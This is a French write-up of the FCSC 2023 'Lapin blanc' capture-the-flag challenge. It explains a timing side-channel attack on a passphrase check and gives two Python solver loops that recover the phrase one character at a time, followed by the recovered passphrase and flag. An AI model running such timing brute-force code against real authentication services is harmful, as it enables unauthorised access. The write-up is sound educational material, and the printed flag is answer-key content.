Side Channel - Lapin blanc
Introduction
Enoncé :
Premier challenge de SCA (side-channel attacks) de ce FCSC 2023, on commence par se connecter sur l'endpoint pour voir ce qu'on nous donne :
En enchaînant quelques essais, on se rend vite compte que les nombres sur le côté correspondent à des timestamps : celui du message "The door is thinking ..." correspond au début de la vérification côté serveur, et le suivant "Your magic phrase is invalid." à la fin de celle-ci. On a donc une timing attack !
En testant chaque lettre de l'alphabet, on remarque que le calcul pour "I" prend BEAUCOUP de temps : 50000 (ticks j'imagine ?) au lieu d'environ 3000 pour les autres caractères. On en déduit donc que le bon caractère prend plus de temps à calculer.
J'ai utilisé deux manières différentes pour solve ce challenge.
Méthode 1 : Maximum
Dans la première, on utilise un dictionnaire pour stocker les couples caractère:offset (offset étant le temps de calcul). Pour les caractères, on utilise tous ceux qui pourraient apparaître dans une phrase. Une fois que tous ont été testés, on choisit le plus long avec
que l'on ajoute à la passphrase. Cette méthode est plus safe que la seconde en termes d'erreur de jugement ou sur un système sur lequel on a moins d'informations, mais prend plus de temps.
while True:
# Reset du dictionnaire
times={}
for i in chars:
io.recvuntil(b': ')
# On envoie la passphrase et le caractère à tester
io.sendline(passphrase+i)
# On parse les deux réponses
l1 = io.recvline().strip().decode().strip('[').split('] ')
l2 = io.recvline().strip().decode().strip('[').split('] ')
# On récupère les deux timestamps
t1 = int(l1[0])
t2 = int(l2[0])
# Si la réponse est différente de ce qu'on attend, on break
if l2[1][0]!="Y":
print("\nFLAG : "+l1+"\n")
find=True
break
# On ajoute le couple caractère:offset au dictionnaire
times[i]=t2-t1
# On trouve le maximum du tour et on l'ajoute à la passphrase
passphrase+=max(times,key=lambda x:times[x])
print("\n\nPASSPHRASE : "+passphrase+"\n\n")
if find==True:
break
Méthode 2 : Gros nombre
Pour cette deuxième version, on considère que l'offset est tellement grand que dès que l'on a un offset divergeant c'est forcément le bon, et donc on casse la boucle directement.
Pour ce faire, on pose que le temps de calcul par défaut d'un mauvais caractère ne dépasse pas 3500. Etant donné que le nombre de caractères dans la passphrase augmente au fur et à mesure, ce temps par défaut doit s'incrémenter à chaque nouveau caractère trouvé.
Si le temps de calcul pour un caractère dépasse le temps par défaut, on l'ajoute au mot de passe et on passe au suivant.
# Offset moyen par défaut
default = 3500
j=0
while True:
times={}
j+=1
for i in chars:
io.recvuntil(b': ')
io.sendline(passphrase+i)
l1 = io.recvline().strip().decode().strip('[').split('] ')
l2 = io.recvline().strip().decode().strip('[').split('] ')
t1 = int(l1[0])
t2 = int(l2[0])
if l2[1][0]!="Y":
print(l1)
find=True
break
# Si l'offset est plus grand que celui par défaut incrémenté
elif (t2-t1)>(default*j):
# On ajoute le caractère à la passphrase
passphrase+=i
print("\n\nPASSPHRASE : "+passphrase+"\n\n")
# On break directement
break
if find==True:
break
Comme expliqué précédemment, cette méthode est plus rapide dans ce contexte, mais elle présente des risques sur un système réaliste, beaucoup d'éléments pouvant faire que le temps de calcul dépasse le seuil.
Conclusion
Que ce soit pour l'une ou l'autre méthode, on vérifie à chaque boucle si le premier caractère du message de fin de calcul est différent de Y, et, si tel est le cas, on print le flag et la passphrase complète. Après quelques temps, on obtient :
Passphrase : "I'm late, I'm late! For a very important date!"
Flag : FCSC{t1m1Ng_1s_K3y_8u7_74K1nG_u00r_t1mE_is_NEce554rY}
L'intérêt d'une telle attaque c'est qu'on peut bruteforce indépendamment caractère par caractère, et donc réduire considérablement le temps de calcul : si l'on a 26 caractères à tester et que le mot de passe en fait 3, on aura donc 26 x 26 x 26 = 17576 possibilités. Avec une timing attack, on réduit ce nombre à 26 + 26 + 26 = 78. C'est là toute la puissance des side-channels.
Write-up par Daeras